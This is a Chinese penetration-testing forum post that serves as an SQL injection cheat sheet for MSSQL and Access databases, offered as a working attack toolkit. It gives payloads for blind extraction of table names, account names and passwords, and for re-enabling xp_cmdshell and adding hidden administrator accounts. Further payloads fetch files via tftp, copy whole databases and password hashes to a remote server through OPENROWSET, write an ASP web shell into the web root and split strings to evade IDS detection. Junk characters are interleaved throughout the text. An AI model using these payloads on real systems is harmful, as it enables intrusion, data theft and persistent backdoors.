中国网络渗透测试联盟

标题: SQL注入语句2 [打印本页]

作者: admin    时间: 2012-9-15 14:32
标题: SQL注入语句2
1..判断有无注入点
7 F; x1 [6 a2 O7 d; and 1=1 and 1=2 , s7 ]6 P+ ~( Z7 W

% X/ |% g& ]0 H4 R9 e* f' Z
6 }" z8 @( Z0 H) H- {5 B2.猜表一般的表的名称无非是admin adminuser user pass password 等..
+ }2 k8 b, ]* K- D7 \: @! mand 0<>(select count(*) from *) 7 d. O* X* z8 @5 i3 N$ H7 ^
and 0<>(select count(*) from admin) ---判断是否存在admin这张表 ! [# f) [  N& B3 i4 H4 v1 [
- J7 j" H6 [% l

+ g; U! Z' e4 ?) P3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
; M: D8 k  @# S& d7 @2 @: @and 0<(select count(*) from admin)
' _+ |8 N- ~& f) sand 1<(select count(*) from admin)
" D$ k" ^/ E9 D1 J$ ~猜列名还有 and (select count(列名) from 表名)>0
7 V% D* E$ z0 K0 n  ]; Y5 P# }7 J  p+ G+ s
+ X7 N, _& h) K  T! ~- W3 K, s
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
( u9 ^) b( ]. Aand 1=(select count(*) from admin where len(*)>0)--
7 Y; D: i, Z, {/ a! |3 y2 t2 ?/ A, band 1=(select count(*) from admin where len(用户字段名称name)>0) 7 l1 _: d) `# t
and 1=(select count(*) from admin where len(密码字段名称password)>0) 7 n1 D, k( D$ n
" L8 l0 B) I; K3 Q$ ?5 }% Y5 D# p
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
0 B7 |/ Z: G; `+ }* Wand 1=(select count(*) from admin where len(*)>0)
( A" \0 [2 R* B; k7 A6 [: nand 1=(select count(*) from admin where len(name)>6) 错误 % o" W5 L6 R9 \2 w
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
5 q% I9 a5 v3 m4 y1 E& oand 1=(select count(*) from admin where len(name)=6) 正确
5 l4 A$ h, H# t, p$ J: x" u, A: V: R2 ?! ~$ Y) ?
and 1=(select count(*) from admin where len(password)>11) 正确 ; b8 h  H, f) P' l) t# U* f
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
6 p/ Y! H) e* \) P) \and 1=(select count(*) from admin where len(password)=12) 正确
: I) B6 I2 j( y" B- h2 k) J) G5 s猜长度还有 and (select top 1 len(username) from admin)>5
7 P( S' M& i% z7 ?  j
+ P8 x' Y4 v) Y- H# {4 a
1 e, Y4 b3 X0 S& A/ u; Y, M6.猜解字符
/ k% W% g+ r+ c- J# n" wand 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
- G6 }  `  w- g  F3 Y: w. Vand 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 * @* K( H/ j3 b: ~
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
, E3 q% ]8 a& q  T& x
( i! r5 h: K: ]* `4 J, }% A( A猜内容还有  and (select top 1 asc(mid(password,1,1)) from admin)>50  用ASC码算. r2 N1 e2 a" i- A$ W6 D
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- & o0 I: I2 q7 N0 f6 ^
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. 7 p- E5 A- A2 D, {
) W! Q4 t# @  h; I: w
group by users.id having 1=1-- 3 k! M. `+ I/ s& ^6 u' O# N0 l
group by users.id, users.username, users.password, users.privs having 1=1-- + E; j( H( x- V+ `) K$ \
; insert into users values( 666, attacker, foobar, 0xffff )-- $ x8 K2 U9 u  }) d0 q, k6 v
: B2 C4 M1 Z2 X- \
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- + T8 K: C1 p% [, V; m; I1 O( G
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id)-
5 h8 J; J/ A6 n: d8 A3 q' eUNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id,login_name)-   a) h# N- W; A* [# P
UNION SELECT TOP 1 login_name FROM logintable-
- o. E. L- ]1 A4 g$ e4 KUNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
6 q9 I7 V% _2 p$ E9 A3 ?5 r' u
3 ?) G* u3 p$ B0 S' `1 p& u1 v- j看服务器打的补丁=出错了打了SP4补丁 - M2 Q; T! K# p' u/ K+ L6 j7 Y
and 1=(select @@VERSION)-- $ n" X) H* F& j  C( t2 i/ J
+ c0 v7 q- [- G) R
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。 : x* g& m" h7 T. ?! I8 d  l  u
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
6 a9 {/ _, a0 x  }! `, C  Q6 Q# ?9 G0 o0 {3 b6 K0 X- T9 `" i
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) # A  O: h7 s3 o. q
and sa=(SELECT System_user)-- - Z9 {3 w6 \9 ?4 Z6 }# |
and user_name()=dbo--
/ |/ }' f, o9 y; B+ nand 0<>(select user_name()-- 0 Z9 X5 l0 l$ b6 n: L* I. t5 ]

' j  y2 ]* I, s# o- s, w看xp_cmdshell是否删除 & M( U2 {9 u2 x6 u- }  G5 n$ e
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)-- 2 l8 M) b6 C2 N8 v$ J! l

8 `7 j% v4 q6 v4 m3 ]xp_cmdshell被删除,恢复,支持绝对路径的恢复
% o  }8 p4 @" J" [$ s;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
4 M2 t. K- r3 J6 c* c. y;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
' P  b( `8 N4 x8 f9 ]- L  |! W) ~8 ~4 d2 G
反向PING自己实验
0 b  x2 H* ]6 ]( F* r  v3 F- V;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- # N* D$ P7 D! X" d7 k
+ H5 J  h+ R" E8 @
加帐号
3 ^) d  O1 r& ^0 b  f;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
1 p- `# `! m3 b: N  p- F3 U! d; l5 T1 C1 ?9 u, U
创建一个虚拟目录E盘: 1 T9 H) A- b: F$ R) K9 t1 x; r
;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--
7 C4 c* y$ N0 ?- i- H3 }: K+ `
* m7 A% f3 G; m* i* a: P访问属性:(配合写入一个webshell) # A4 b, Y/ T0 O6 d& _4 ?
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse 1 _, n8 i+ b- b9 R8 K7 r

' ^5 k- t# L+ J4 U  L8 H; U1 v, J9 ]0 S7 H7 X( b
MSSQL也可以用联合查询
3 K+ b1 }; {2 V3 j# F, h+ w3 |?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin ) G! i9 i* ~* Y% z
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) 9 `' U, o  V$ n( B

( a+ {0 }% S" \  s. w" s& C7 T6 o2 d
5 t1 B& q1 }" H/ v  r爆库 特殊技巧:%5c=\ 或者把/和\ 修改%5提交
5 W  z2 H! w- e4 E8 v" R1 `/ K2 N$ e

/ |/ {8 Y/ R, L# @4 {
; v5 _: q/ B- `8 Q1 i得到WEB路径
* ]; L9 c4 F( \;create table [dbo].[swap] ([swappass][char](255));-- 5 ~+ S- |8 M& K) M
and (select top 1 swappass from swap)=1-- 9 n- p3 c& S9 G1 P# I5 o. ~% R
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)-- , g& M% ^% t3 @4 V- U1 l! K6 J
;use ku1;-- 8 G: }6 S( h/ s. j) A' @
;create table cmd (str image);-- 建立image类型的表cmd : k0 E% D' E# H5 K: A. }
. @: L- k6 s0 w# m- q# m0 n
存在xp_cmdshell的测试过程: 1 Y" h: A$ E) E. f
;exec master..xp_cmdshell dir ( [9 O3 G0 z; {% v( a3 K0 o2 {; v/ ^
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
( G3 k; m. i" `  W  P! A;exec master.dbo.sp_password null,jiaoniang$,1866574;--
4 h* B8 r$ T. s, M;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- ' T* M  e0 p3 p5 y9 n! n
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- 8 x$ K) b0 _! d) q2 E
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;-- : E( B" P' z8 G  h
exec master..xp_servicecontrol start, schedule 启动服务 ) a  o5 }4 D3 Y
exec master..xp_servicecontrol start, server
5 \% i) u  }( V- @7 Y; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add & Y, e4 F2 t/ g. d" n
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
6 i) O! _5 w# X- ^! ~9 D& t; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 , Q$ H( r& E+ m* n
4 }! H0 i9 f& x+ n& \
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
. J+ r/ U( k& s( |+ W6 F0 v' u/ [2 ];declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
. p+ E1 |# C7 n1 W* ];declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
% u* \8 I* H2 m如果被限制则可以。
  \- i3 Q0 W" L( x9 q: E' p3 Cselect * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax) 6 j+ r4 `* A" J7 N: n
3 B0 j, O* [, v; v; B
查询构造:
/ t$ L/ R0 W+ b$ fSELECT * FROM news WHERE id=... AND topic=... AND .....
5 Y, B3 K6 ]% P. Tadminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
9 m8 x( p' p. Y9 ^0 G1 ^1 }6 Wselect 123;--
9 W3 C( I8 r# g& o( i;use master;--
4 ?, E' n/ G1 l/ K3 N. d:a or name like fff%;-- 显示有一个叫ffff的用户哈。
! o/ B# |( I( ~and 1<>(select count(email) from [user]);-- + Z, i1 U) d, d! [- l
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
$ ^1 z( Y* {  j& |6 p/ i& n% G8 U1 P;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 0 d9 A: D' ]4 H7 n' w
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
1 z2 ]' M4 b& U" b;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
" }8 Q* r, S! U( C1 Q; Y;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- , O- H2 T9 F& u# X) r8 S% c
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
8 I4 b: S. w# _1 R+ C* ?上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 & f; O: O  ^; D7 E3 \
通过查看ffff的用户资料可得第一个用表叫ad
4 J# Z9 \/ @; N5 q- y然后根据表名ad得到这个表的ID 得到第二个表的名字 6 c9 M, E$ S6 k8 m

) i7 g6 ?7 s4 ~6 z! qinsert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
; [9 k. M7 M; y7 W6 K# dinsert into users values( 667,123,123,0xffff)-- 4 D  m) w! f0 n: f1 {# L
insert into users values ( 123, admin--, password, 0xffff)--
# E; ^9 H: x* c/ o/ Z4 Z;and user>0 % D. q- D5 d# |
;and (select count(*) from sysobjects)>0
3 b* f" B' T$ w9 N( {;and (select count(*) from mysysobjects)>0 //为access数据库
# K6 O& e3 N' W2 f# e
/ V! \! [  o3 o枚举出数据表名 7 U+ j1 J2 u; ]. i7 ]( A
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
* O  _; ^8 X. i* w这是将第一个表名更新到aaa的字段处。
* J* l! [% \$ U% I3 [- n读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
+ H0 f9 k, g) q7 E! E1 r, i/ P;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 3 ?0 h, C2 U; ]" ~8 a
然后id=1552 and exists(select * from aaa where aaa>5)
  ]% U& M9 M& H, d7 [6 a读出第二个表,一个个的读出,直到没有为止。
2 K5 ~6 t* e9 c7 o' Q$ }) K* b4 G读字段是这样:
* `: c+ V3 Q6 L;update aaa set aaa=(select top 1 col_name(object_id(表名),1));-- 8 F  z+ G# Y+ @( s& |1 `& }2 o
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
3 I3 ]( D+ i/ k6 I9 {) \;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
% t: r, v8 ]" R3 \& ?然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
- F) D8 B5 f9 N! t8 ^) x6 N* t4 E
) P0 }& Y% A& C! j, G3 _[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
" k& S$ C4 \" N+ Uupdate 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
1 G: ~0 n8 u) b7 O3 l通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
$ f& W. Y% }& L2 M2 m  c0 l6 ?2 O; {2 W- l2 g1 n: t
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 8 {& t( e* {  |& C+ r5 H
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件] " w5 _& P8 v  j4 O/ _+ e" X% u, B

( a5 |' D/ F8 h6 T: A绕过IDS的检测[使用变量]
  c) B, O, g; r# p; \- G;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
, f4 g9 Y# w; V) {+ O" j;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
4 H& f8 J1 ?8 W- W) H% T
# C4 @6 ^; v* N7 W) d. n1、 开启远程数据库 % C- Q2 O& t' ]
基本语法
. |( v- p. `$ z, a" ~/ ?' Mselect * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
# d7 n) _8 X# V: Z9 v/ p参数: (1) OLEDB Provider name ' i6 V5 Z% w  \1 E7 z2 o0 h
2、 其中连接字符串参数可以是任何端口用来连接,比如
# Y: [7 c$ n; hselect * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table + v& \2 H/ s# l/ @/ M5 l. `/ N8 @; i
3.复制目标主机的整个数据库insert所有远程表到本地表。 - u$ p8 o/ V  @- r1 r
' s  d1 A; P- u; e; o0 O& L( y
基本语法: % y2 F' ?  p: P+ v8 F
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
: x5 B: w! s! U1 x1 j这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
8 X( i) |5 N. _9 Yinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2 2 w; F' m, Y3 \5 V& U; r' ?! T
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
& N4 ^& _+ b+ ^5 A( @select * from master.dbo.sysdatabases
$ j: V% F% x& dinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
3 B2 G4 a/ G. G% A  t9 I* E1 U. |select * from user_database.dbo.sysobjects
' v7 o% Z  t& n" b+ q& R- Tinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns) 1 R# Z7 x2 g/ d  Z7 |8 A. ?
select * from user_database.dbo.syscolumns
- E% A! k! J) O4 s) D5 E9 L; L. t; Z复制数据库:
. r6 w4 U: [' \+ y8 i5 linsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
; {# J( G* E/ s2 m; vinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2 2 w( ^- t; p9 J! {
9 ]1 P3 w+ \# e8 \
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下: 4 l" I8 S# g( ^2 q
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins ' |8 q, G. w8 E; ]- p
得到hash之后,就可以进行暴力破解。 7 [6 N& ?  @9 e0 J" d8 I3 A
  r& ?% J2 C, Q: E4 T6 d) U
遍历目录的方法: 先创建一个临时表:temp , j* n3 W: d1 p; Y9 J" e; Z
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- % j8 J  S) P, f
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 - \7 v/ k( A% n7 |) p
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表 % q8 t0 d- c5 R7 y6 }) L
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 3 v" {" q+ y) n/ N( A. j* B: A
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 6 l- z* i2 ^0 b9 s! a) o
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;-- 8 R0 q/ p& `! q* Y5 I0 n7 G
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;-- 4 j" L& j! l$ S2 d  H
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
- o1 v- e  O: {2 e;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC)
& Y" W9 ^; A8 r/ a写入表: % ?1 M  U% R) V
语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));-- 7 U0 `' }( ^+ T" n0 i8 \+ I
语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));-- - C; k: l, Z4 ~2 ~7 O5 |
语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));-- 8 K1 g3 V4 W  h$ P3 S& I! I% }
语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
' B: n; x" P! b' O语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
2 B; g# J4 o: b# E: U* A; f/ @; ~语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
9 u9 u( Q+ _! j7 x9 \2 p# d! u语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- 3 p3 _0 a' L7 f) l# Y( q, i
语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
, ~5 N, `( K, x6 a' O语句9:and 1=(SELECT IS_MEMBER(db_owner));-- 5 w3 w; l' k9 U2 O# y2 b
4 g, u  g$ F+ u7 [6 H8 ?+ {  I
把路径写到表中去:
2 c2 a9 z9 e$ i; z- l+ r3 E7 };create table dirs(paths varchar(100), id int)--
7 w+ Z- a) ?; T( A* M;insert dirs exec master.dbo.xp_dirtree c:\-- " O( t4 s7 N# D% `; Y- K+ g6 S* a- _
and 0<>(select top 1 paths from dirs)-- 0 W- N, K( r  R$ W
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
4 x, D( Z, B! R( S5 k! L$ q0 x; v;create table dirs1(paths varchar(100), id int)-- ( f' Q) A( W. Y9 S6 R# D  g! |
;insert dirs exec master.dbo.xp_dirtree e:\web--
" T# \* l5 A3 g  }, [  qand 0<>(select top 1 paths from dirs1)--
5 ^% r* l0 Z& x& w5 J8 C7 b
! K8 T3 r5 A* X把数据库备份到网页目录:下载
# M3 i) B# P; A/ {* e5 ?;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;-- 5 R& _# u$ J0 S% |/ {
# g- k6 W7 B5 U6 m
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) " a4 I, x& |0 \3 h
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。 2 }$ S! A' t3 e
and 1=(select user_id from USER_LOGIN) $ N% Y% v2 K7 k7 R
and 0=(select user from USER_LOGIN where user>1) 6 z: R8 P/ G3 P1 c! o& O2 \
0 x$ L5 Q0 ~; u+ b( e% l  p5 @0 s
-=- wscript.shell example -=-
# x6 R+ _1 J" Rdeclare @o int
1 D9 V8 k8 y8 f( S* nexec sp_oacreate wscript.shell, @o out
- b; p6 X! L. q( x# O7 A! Y/ Gexec sp_oamethod @o, run, NULL, notepad.exe
! R6 I6 B! x7 o% O( `1 |4 h- W; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe-- , |1 V. ]( E+ H8 S2 f
. {  V2 Z) i" g+ r  X
declare @o int, @f int, @t int, @ret int
% g1 ^% B! ~) }' w* X. j# ideclare @line varchar(8000)
$ ?4 [# C- W0 {/ `- M& I* R7 dexec sp_oacreate scripting.filesystemobject, @o out
' v$ N8 Q! R) o) E1 sexec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
% W* a/ K. `* h: B/ `/ dexec @ret = sp_oamethod @f, readline, @line out * n- ?" i" |) E8 I/ I
while( @ret = 0 )
4 u: E& p4 |9 o7 B  q: Xbegin ! {/ M. d. B- G- ^- t" |( v
print @line & I9 d( x9 ?3 O) ^& I/ ?
exec @ret = sp_oamethod @f, readline, @line out
8 m0 P( C" |3 ~& O1 ]" I6 Iend % e  a( O9 }1 k
! V0 {3 I0 ^3 h  Z* \
declare @o int, @f int, @t int, @ret int 1 n$ s1 \2 ?  N& N' ~7 f: U
exec sp_oacreate scripting.filesystemobject, @o out # N# ], C& \% {# Q
exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 7 d2 R5 U3 s$ @! x" `
exec @ret = sp_oamethod @f, writeline, NULL, 4 _1 e7 R1 N' c4 R
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %> 7 y( t" J; o# h: j
" }* d- U1 |1 z' q$ s8 X- ^4 `
declare @o int, @ret int ( W( U) n2 C. k. X- K8 U
exec sp_oacreate speech.voicetext, @o out
& J* G- `( ~+ k# oexec sp_oamethod @o, register, NULL, foo, bar
9 a2 F2 F1 B% ^- k6 P) zexec sp_oasetproperty @o, speed, 150 : G; t! n3 ^% F+ \
exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 6 A$ J) A. F3 `( c- I
waitfor delay 00:00:05
' Y( x# F" W8 v$ K/ f8 T* ^
( N* O  i) N1 H4 B6 e. `; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
2 P* V/ R* U: r( k6 ]; s- i: v
7 b; A# Z- m  e5 k; `7 ixp_dirtree适用权限PUBLIC 9 @) f* `& n6 |$ G7 _" }1 `
exec master.dbo.xp_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 / p) B7 o2 M' C
create table dirs(paths varchar(100), id int) ! B% p" _' x, q8 x& }: Y& ?4 S
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。 3 ]' {" q* A- K/ X0 a
insert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
; d+ Z2 o8 L1 d2 \$ u




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2